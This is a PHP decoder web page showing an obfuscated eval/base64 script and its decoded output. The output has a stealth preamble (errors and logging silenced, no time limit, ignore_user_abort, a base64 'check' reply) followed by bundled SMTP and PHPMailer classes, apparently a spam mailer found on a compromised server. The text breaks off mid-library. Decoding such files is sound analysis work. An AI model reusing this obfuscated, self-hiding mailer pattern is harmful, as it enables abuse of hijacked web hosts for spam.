Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode('QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2xvZ19lcnJv..
Decoded Output download
@ini_set('display_errors',0);
@ini_set('log_errors',0);
@error_reporting(0);
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time',0);
if (version_compare(PHP_VERSION, '5.0.0', '<') ) {
$res = Array();
$res["result"]["check"] = 0;
echo base64_encode(serialize($res));
}
function custom_strip_tags($text)
{
$text = strip_tags($text, '<a>');
$text = str_replace("<a href=\"", "[ ", $text);
$text = str_replace("</a>", "", $text);
$text = str_replace("\">", " ] ", $text);
return $text;
}
class SMTP {
public $SMTP_PORT = 25;
public $CRLF = "
";
public $do_debug = 0;
public $Debugoutput = 'echo';
public $do_verp = false;
public $Timeout = 15;
public $Timelimit = 30;
public $Version = '5.2.6';
protected $smtp_conn;
protected $error;
protected $helo_rply;
protected function edebug($str) {
switch ($this->Debugoutput) {
case 'error_log':
error_log($str);
break;
case 'html':
echo htmlentities(preg_replace('/[
]+/', '', $str), ENT_QUOTES, 'UTF-8')."<br>
";
break;
case 'echo':
default:
echo $str;
}
}
public function __construct() {
$this->smtp_conn = 0;
$this->error = null;
$this->helo_rply = null;
$this->do_debug = 0;
}
public function Connect($host, $port = 0, $timeout = 30, $options = array()) {
$this->error = null;
if($this->connected()) {
$this->error = array('error' => 'Already connected to a server');
return false;
}
if(empty($port)) {
$port = $this->SMTP_PORT;
}
$errno = 0;
$errstr = '';
$socket_context = stream_context_create($options);
$this->smtp_conn = @stream_socket_client($host.":".$port, $errno, $errstr, $timeout, STREAM_CLIENT_CONNECT, $socket_context);
if(empty($this->smtp_conn)) {
$this->error = array('error' => 'Failed to connect to server',
'errno' => $errno,
'errstr' => $errstr);
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ": $errstr ($errno)");
}
return false;
}
if(substr(PHP_OS, 0, 3) != 'WIN') {
$max = ini_get('max_execution_time');
if ($max != 0 && $timeout > $max) { // Don't bother if unlimited
@set_time_limit($timeout);
}
stream_set_timeout($this->smtp_conn, $timeout, 0);
}
$announce = $this->get_lines();
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $announce);
}
return true;
}
public function StartTLS() {
$this->error = null; # to avoid confusion
if(!$this->connected()) {
$this->error = array('error' => 'Called StartTLS() without being connected');
return false;
}
$this->client_send('STARTTLS' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 220) {
$this->error =
array('error' => 'STARTTLS not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
if(!stream_socket_enable_crypto($this->smtp_conn, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
return false;
}
return true;
}
public function Authenticate($username, $password, $authtype='LOGIN', $realm='', $workstation='') {
if (empty($authtype)) {
$authtype = 'LOGIN';
}
switch ($authtype) {
case 'PLAIN':
$this->client_send('AUTH PLAIN' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error =
array('error' => 'AUTH not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$this->client_send(base64_encode("".$username."".$password) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 235) {
$this->error =
array('error' => 'Authentication not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
break;
case 'LOGIN':
$this->client_send('AUTH LOGIN' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error =
array('error' => 'AUTH not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$this->client_send(base64_encode($username) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error =
array('error' => 'Username not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$this->client_send(base64_encode($password) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 235) {
$this->error =
array('error' => 'Password not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
break;
case 'NTLM':
require_once 'extras/ntlm_sasl_client.php';
$temp = new stdClass();
$ntlm_client = new ntlm_sasl_client_class;
if(! $ntlm_client->Initialize($temp)){//let's test if every function its available
$this->error = array('error' => $temp->error);
if($this->do_debug >= 1) {
$this->edebug('You need to enable some modules in your php.ini file: ' . $this->error['error']);
}
return false;
}
$msg1 = $ntlm_client->TypeMsg1($realm, $workstation);//msg1
$this->client_send('AUTH NTLM ' . base64_encode($msg1) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error =
array('error' => 'AUTH not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$challenge = substr($rply, 3);//though 0 based, there is a white space after the 3 digit number....//msg2
$challenge = base64_decode($challenge);
$ntlm_res = $ntlm_client->NTLMResponse(substr($challenge, 24, 8), $password);
$msg3 = $ntlm_client->TypeMsg3($ntlm_res, $username, $realm, $workstation);//msg3
$this->client_send(base64_encode($msg3) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 235) {
$this->error =
array('error' => 'Could not authenticate',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
break;
case 'CRAM-MD5':
$this->client_send('AUTH CRAM-MD5' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 334) {
$this->error =
array('error' => 'AUTH not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$challenge = base64_decode(substr($rply, 4));
$response = $username . ' ' . $this->hmac($challenge, $password);
$this->client_send(base64_encode($response) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($code != 235) {
$this->error =
array('error' => 'Credentials not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
break;
}
return true;
}
protected function hmac($data, $key) {
if (function_exists('hash_hmac')) {
return hash_hmac('md5', $data, $key);
}
$b = 64; // byte length for md5
if (strlen($key) > $b) {
$key = pack('H*', md5($key));
}
$key = str_pad($key, $b, chr(0x00));
$ipad = str_pad('', $b, chr(0x36));
$opad = str_pad('', $b, chr(0x5c));
$k_ipad = $key ^ $ipad ;
$k_opad = $key ^ $opad;
return md5($k_opad . pack('H*', md5($k_ipad . $data)));
}
public function Connected() {
if(!empty($this->smtp_conn)) {
$sock_status = stream_get_meta_data($this->smtp_conn);
if($sock_status['eof']) {
if($this->do_debug >= 1) {
$this->edebug('SMTP -> NOTICE: EOF caught while checking if connected');
}
$this->Close();
return false;
}
return true; // everything looks good
}
return false;
}
public function Close() {
$this->error = null; // so there is no confusion
$this->helo_rply = null;
if(!empty($this->smtp_conn)) {
// close the connection and cleanup
fclose($this->smtp_conn);
$this->smtp_conn = 0;
}
}
public function Data($msg_data) {
$this->error = null; // so no confusion is caused
if(!$this->connected()) {
$this->error = array(
'error' => 'Called Data() without being connected');
return false;
}
$this->client_send('DATA' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 354) {
$this->error =
array('error' => 'DATA command not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$msg_data = str_replace("
", "
", $msg_data);
$msg_data = str_replace("
", "
", $msg_data);
$lines = explode("
", $msg_data);
$field = substr($lines[0], 0, strpos($lines[0], ':'));
$in_headers = false;
if(!empty($field) && !strstr($field, ' ')) {
$in_headers = true;
}
$max_line_length = 998; // used below; set here for ease in change
while(list(, $line) = @each($lines)) {
$lines_out = null;
if($line == '' && $in_headers) {
$in_headers = false;
}
while(strlen($line) > $max_line_length) {
$pos = strrpos(substr($line, 0, $max_line_length), ' ');
if(!$pos) {
$pos = $max_line_length - 1;
$lines_out[] = substr($line, 0, $pos);
$line = substr($line, $pos);
} else {
$lines_out[] = substr($line, 0, $pos);
$line = substr($line, $pos + 1);
}
if($in_headers) {
$line = " " . $line;
}
}
$lines_out[] = $line;
while(list(, $line_out) = @each($lines_out)) {
if(strlen($line_out) > 0)
{
if(substr($line_out, 0, 1) == '.') {
$line_out = '.' . $line_out;
}
}
$this->client_send($line_out . $this->CRLF);
}
}
$this->client_send($this->CRLF . '.' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250) {
$this->error =
array('error' => 'DATA not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function Hello($host = '') {
$this->error = null; // so no confusion is caused
if(!$this->connected()) {
$this->error = array(
'error' => 'Called Hello() without being connected');
return false;
}
if(empty($host)) {
$host = 'localhost';
}
if(!$this->SendHello('EHLO', $host)) {
if(!$this->SendHello('HELO', $host)) {
return false;
}
}
return true;
}
protected function SendHello($hello, $host) {
$this->client_send($hello . ' ' . $host . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER: ' . $rply);
}
if($code != 250) {
$this->error =
array('error' => $hello . ' not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
$this->helo_rply = $rply;
return true;
}
public function Mail($from) {
$this->error = null; // so no confusion is caused
if(!$this->connected()) {
$this->error = array(
'error' => 'Called Mail() without being connected');
return false;
}
$useVerp = ($this->do_verp ? ' XVERP' : '');
$this->client_send('MAIL FROM:<' . $from . '>' . $useVerp . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250) {
$this->error =
array('error' => 'MAIL not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function Quit($close_on_error = true) {
$this->error = null; // so there is no confusion
if(!$this->connected()) {
$this->error = array(
'error' => 'Called Quit() without being connected');
return false;
}
$this->client_send('quit' . $this->CRLF);
$byemsg = $this->get_lines();
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $byemsg);
}
$rval = true;
$e = null;
$code = substr($byemsg, 0, 3);
if($code != 221) {
$e = array('error' => 'SMTP server rejected quit command',
'smtp_code' => $code,
'smtp_rply' => substr($byemsg, 4));
$rval = false;
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $e['error'] . ': ' . $byemsg);
}
}
if(empty($e) || $close_on_error) {
$this->Close();
}
return $rval;
}
public function Recipient($to) {
$this->error = null; // so no confusion is caused
if(!$this->connected()) {
$this->error = array(
'error' => 'Called Recipient() without being connected');
return false;
}
$this->client_send('RCPT TO:<' . $to . '>' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250 && $code != 251) {
$this->error =
array('error' => 'RCPT not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function Reset() {
$this->error = null; // so no confusion is caused
if(!$this->connected()) {
$this->error = array('error' => 'Called Reset() without being connected');
return false;
}
$this->client_send('RSET' . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250) {
$this->error =
array('error' => 'RSET failed',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function SendAndMail($from) {
$this->error = null; // so no confusion is caused
if(!$this->connected()) {
$this->error = array(
'error' => 'Called SendAndMail() without being connected');
return false;
}
$this->client_send('SAML FROM:' . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply, 0, 3);
if($this->do_debug >= 2) {
$this->edebug('SMTP -> FROM SERVER:' . $rply);
}
if($code != 250) {
$this->error =
array('error' => 'SAML not accepted from server',
'smtp_code' => $code,
'smtp_msg' => substr($rply, 4));
if($this->do_debug >= 1) {
$this->edebug('SMTP -> ERROR: ' . $this->error['error'] . ': ' . $rply);
}
return false;
}
return true;
}
public function Turn() {
$this->error = array('error' => 'This method, TURN, of the SMTP '.
'is not implemented');
if($this->do_debug >= 1) {
$this->edebug('SMTP -> NOTICE: ' . $this->error['error']);
}
return false;
}
public function client_send($data) {
if ($this->do_debug >= 1) {
$this->edebug("CLIENT -> SMTP: $data");
}
return fwrite($this->smtp_conn, $data);
}
public function getError() {
return $this->error;
}
protected function get_lines() {
$data = '';
$endtime = 0;
if (!is_resource($this->smtp_conn)) {
return $data;
}
stream_set_timeout($this->smtp_conn, $this->Timeout);
if ($this->Timelimit > 0) {
$endtime = time() + $this->Timelimit;
}
while(is_resource($this->smtp_conn) && !feof($this->smtp_conn)) {
$str = @fgets($this->smtp_conn, 515);
if($this->do_debug >= 4) {
$this->edebug("SMTP -> get_lines(): \$data was \"$data\"");
$this->edebug("SMTP -> get_lines(): \$str is \"$str\"");
}
$data .= $str;
if($this->do_debug >= 4) {
$this->edebug("SMTP -> get_lines(): \$data is \"$data\"");
}
if(substr($str, 3, 1) == ' ') { break; }
$info = stream_get_meta_data($this->smtp_conn);
if ($info['timed_out']) {
if($this->do_debug >= 4) {
$this->edebug('SMTP -> get_lines(): timed-out (' . $this->Timeout . ' seconds)');
}
break;
}
// Now check if reads took too long
if ($endtime) {
if (time() > $endtime) {
if($this->do_debug >= 4) {
$this->edebug('SMTP -> get_lines(): timelimit reached (' . $this->Timelimit . ' seconds)');
}
break;
}
}
}
return $data;
}
}
class PHPMailer {
public $Priority = 3;
public $CharSet = 'iso-8859-1';
public $ContentType = 'text/plain';
public $Encoding = '8bit';
public $ErrorInfo = '';
public $From = 'root@localhost';
public $FromName = 'Root User';
public $Sender = '';
public $ReturnPath = '';
public $Subject = '';
public $Body = '';
public $AltBody = '';
public $Ical = '';
protected $MIMEBody = '';
protected $MIMEHeader = '';
protected $mailHeader = '';
public $WordWrap = 0;
public $Mailer = 'mail';
public $Sendmail = '/usr/sbin/sendmail';
public $UseSendmailOptions = true;
public $PluginDir = '';
public $ConfirmReadingTo = '';
public $Hostname = '';
public $MessageID = '';
public $MessageDate = '';
public $Host = 'localhost';
public $Port = 25;
public $Helo = '';
public $SMTPSecure = '';
public $SMTPAuth = false;
public $Username = '';
public $Password = '';
public $AuthType = '';
public $Realm = '';
public $Workstation = '';
public $Timeout = 10;
public $SMTPDebug = false;
public $Debugoutput = "echo";
public $SMTPKeepAlive = false;
public $SingleTo = false;
public $do_verp = false;
public $SingleToArray = array();
public $AllowEmpty = false;
public $LE = "
";
public $DKIM_selector = '';
public $DKIM_identity = '';
public $DKIM_passphrase = '';
public $DKIM_domain = '';
public $DKIM_private = '';
public $action_function = ''; //'callbackAction';
public $Version = '5.2.6';
public $XMailer = '';
protected $smtp = null;
protected $to = array();
protected $cc = array();
protected $bcc = array();
protected $ReplyTo = array();
protected $all_recipients = array();
protected $attachment = array();
protected $CustomHeader = array();
protected $message_type = '';
protected $boundary = array();
protected $language = array();
protected $error_count = 0;
protected $sign_cert_file = '';
protected $sign_key_file = '';
protected $sign_key_pass = '';
protected $exceptions = false;
const STOP_MESSAGE = 0; // message only, continue processing
const STOP_CONTINUE = 1; // message?, likely ok to continue processing
const STOP_CRITICAL = 2; // message, plus full stop, critical error reached
const CRLF = "
"; // SMTP RFC specified EOL
private function mail_passthru($to, $subject, $body, $header, $params) {
if ( ini_get('safe_mode') || !($this->UseSendmailOptions) ) {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header);
} else {
$rt = @mail($to, $this->EncodeHeader($this->SecureHeader($subject)), $body, $header, $params);
}
return $rt;
}
protected function edebug($str) {
switch ($this->Debugoutput) {
case 'error_log':
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking display that's HTML-safe
echo htmlentities(preg_replace('/[
]+/', '', $str), ENT_QUOTES, $this->CharSet)."<br>
";
break;
case 'echo':
default:
//Just echoes exactly what was received
echo $str;
}
}
public function __construct($exceptions = false) {
$this->exceptions = ($exceptions == true);
}
public function __destruct() {
if ($this->Mailer == 'smtp') { //Close any open SMTP connection nicely
$this->SmtpClose();
}
}
public function IsHTML($ishtml = true) {
if ($ishtml) {
$this->ContentType = 'text/html';
} else {
$this->ContentType = 'text/plain';
}
}
public function IsSMTP() {
$this->Mailer = 'smtp';
}
public function IsMail() {
$this->Mailer = 'mail';
}
public function IsSendmail() {
if (!stristr(ini_get('sendmail_path'), 'sendmail')) {
$this->Sendmail = '/var/qmail/bin/sendmail';
}
$this->Mailer = 'sendmail';
}
public function IsQmail() {
if (stristr(ini_get('sendmail_path'), 'qmail')) {
$this->Sendmail = '/var/qmail/bin/sendmail';
}
$this->Mailer = 'sendmail';
}
public function AddAddress($address, $name = '') {
return $this->AddAnAddress('to', $address, $name);
}
public function AddCC($address, $name = '') {
return $this->AddAnAddress('cc', $address, $name);
}
public function AddBCC($address, $name = '') {
return $this->AddAnAddress('bcc', $address, $name);
}
public function AddReplyTo($address, $name = '') {
return $this->AddAnAddress('Reply-To', $address, $name);
}
protected function AddAnAddress($kind, $address, $name = '') {
if (!preg_match('/^(to|cc|bcc|Reply-To)$/', $kind)) {
$this->SetError($this->Lang('Invalid recipient array').': '.$kind);
if ($this->exceptions) {
throw new phpmailerException('Invalid recipient array: ' . $kind);
}
if ($this->SMTPDebug) {
$this->edebug($this->Lang('Invalid recipient array').': '.$kind);
}
return false;
}
$address = trim($address);
$name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
if (!$this->ValidateAddress($address)) {
$this->SetError($this->Lang('invalid_address').': '. $address);
if ($this->exceptions) {
throw new phpmailerException($this->Lang('invalid_address').': '.$address);
}
if ($this->SMTPDebug) {
$this->edebug($this->Lang('invalid_address').': '.$address);
}
return false;
}
if ($kind != 'Reply-To') {
if (!isset($this->all_recipients[strtolower($address)])) {
array_push($this->$kind, array($address, $name));
$this->all_recipients[strtolower($address)] = true;
return true;
}
} else {
if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = array($address, $name);
return true;
}
}
return false;
}
public function SetFrom($address, $name = '', $auto = true) {
$address = trim($address);
$name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
if (!$this->ValidateAddress($address)) {
$this->SetError($this->Lang('invalid_address').': '. $address);
if ($this->exceptions) {
throw new phpmailerException($this->Lang('invalid_address').': '.$address);
}
if ($this->SMTPDebug) {
$this->edebug($this->Lang('invalid_address').': '.$address);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
public static function ValidateAddress($address) {
if (defined('PCRE_VERSION')) { //Check this instead of extension_loaded so it works when that function is disabled
if (version_compare(PCRE_VERSION, '8.0') >= 0) {
return (boolean)preg_match('/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)((?>(?>(?>((?>(?>(?>
)?[ ])+|(?>[ ]*
)?[ ]+)?)(\((?>(?2)(?>[--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\[-]))*(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
} else {
//Fall back to an older regex that doesn't need a recent PCRE
return (boolean)preg_match('/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*")(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*"))*@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
}
} else {
return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
}
}
public function Send() {
try {
if(!$this->PreSend()) return false;
return $this->PostSend();
} catch (phpmailerException $e) {
$this->mailHeader = '';
$this->SetError($e->getMessage());
if ($this->exceptions) {
throw $e;
}
return false;
}
}
public function PreSend() {
try {
$this->mailHeader = "";
if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
throw new phpmailerException($this->Lang('provide_address'), self::STOP_CRITICAL);
}
// Set whether the message is multipart/alternative
if(!empty($this->AltBody)) {
$this->ContentType = 'multipart/alternative';
}
$this->error_count = 0; // reset errors
$this->SetMessageType();
//Refuse to send an empty message unless we are specifically allowing it
if (!$this->AllowEmpty and empty($this->Body)) {
throw new phpmailerException($this->Lang('empty_message'), self::STOP_CRITICAL);
}
$this->MIMEHeader = $this->CreateHeader();
$this->MIMEBody = $this->CreateBody();
// To capture the complete message when using mail(), create
// an extra header list which CreateHeader() doesn't fold in
if ($this->Mailer == 'mail') {
if (count($this->to) > 0) {
$this->mailHeader .= $this->AddrAppend("To", $this->to);
} else {
$this->mailHeader .= $this->HeaderLine("To", "undisclosed-recipients:;");
}
$this->mailHeader .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader(trim($this->Subject))));
}
// digitally sign with DKIM if enabled
if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && !empty($this->DKIM_domain) && file_exists($this->DKIM_private)) {
$header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->EncodeHeader($this->SecureHeader($this->Subject)), $this->MIMEBody);
$this->MIMEHeader = str_replace("
", "
", $header_dkim) . $this->MIMEHeader;
}
return true;
} catch (phpmailerException $e) {
$this->SetError($e->getMessage());
if ($this->exceptions) {
throw $e;
}
return false;
}
}
public function PostSend() {
try {
// Choose the mailer and send through it
switch($this->Mailer) {
case 'sendmail':
return $this->SendmailSend($this->MIMEHeader, $this->MIMEBody);
case 'smtp':
return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
case 'mail':
return $this->MailSend($this->MIMEHeader, $this->MIMEBody);
default:
return $this->MailSend($this->MIMEHeader, $this->MIMEBody);
}
} catch (phpmailerException $e) {
$this->SetError($e->getMessage());
if ($this->exceptions) {
throw $e;
}
if ($this->SMTPDebug) {
$this->edebug($e->getMessage()."
");
}
}
return false;
}
protected function SendmailSend($header, $body) {
if ($this->Sender != '') {
$sendmail = sprintf("%s -oi -f%s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
} else {
$sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
}
if ($this->SingleTo === true) {
foreach ($this->SingleToArray as $val) {
if(!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, "To: " . $val . "
");
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
// implement call back function if it exists
$isSent = ($result == 0) ? 1 : 0;
$this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body);
if($result != 0) {
throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
} else {
if(!@$mail = popen($sendmail, 'w')) {
throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
fputs($mail, $header);
fputs($mail, $body);
$result = pclose($mail);
// implement call back function if it exists
$isSent = ($result == 0) ? 1 : 0;
$this->doCallback($isSent, $this->to, $this->cc, $this->bcc, $this->Subject, $body);
if($result != 0) {
throw new phpmailerException($this->Lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
}
}
return true;
}
protected function MailSend($header, $body) {
$toArr = array();
foreach($this->to as $t) {
$toArr[] = $this->AddrFormat($t);
}
$to = implode(', ', $toArr);
if (empty($this->Sender)) {
$params = " ";
} else {
$params = sprintf("-f%s", $this->Sender);
}
if ($this->Sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$rt = false;
if ($this->SingleTo === true && count($toArr) > 1) {
foreach ($toArr as $val) {
$rt = $this->mail_passthru($val, $this->Subject, $body, $header, $params);
// implement call back function if it exists
$isSent = ($rt == 1) ? 1 : 0;
$this->doCallback($isSent, $val, $this->cc, $this->bcc, $this->Subject, $body);
}
} else {
$rt = $this->mail_passthru($to, $this->Subject, $body, $header, $params);
// implement call back function if it exists
$isSent = ($rt == 1) ? 1 : 0;
$this->doCallback($isSent, $to, $this->cc, $this->bcc, $this->Subject, $body);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if(!$rt) {
throw new phpmailerException($this->Lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
protected function SmtpSend($header, $body) {
//require_once $this->PluginDir . 'class.smtp.php';
$bad_rcpt = array();
if(!$this->SmtpConnect()) {
throw new phpmailerException($this->Lang('smtp_connect_failed'), self::STOP_CRITICAL);
}
$smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
if(!$this->smtp->Mail($smtp_from)) {
$this->SetError($this->Lang('from_failed') . $smtp_from . ' : ' .implode(',', $this->smtp->getError()));
throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
}
// Attempt to send attach all recipients
foreach($this->to as $to) {
if (!$this->smtp->Recipient($to[0])) {
$bad_rcpt[] = $to[0];
// implement call back function if it exists
$isSent = 0;
$this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
} else {
// implement call back function if it exists
$isSent = 1;
$this->doCallback($isSent, $to[0], '', '', $this->Subject, $body);
}
}
foreach($this->cc as $cc) {
if (!$this->smtp->Recipient($cc[0])) {
$bad_rcpt[] = $cc[0];
// implement call back function if it exists
$isSent = 0;
$this->doCallback($isSent, '', $cc[0], '', $this->Subject, $body);
} else {
// implement call back function if it exists
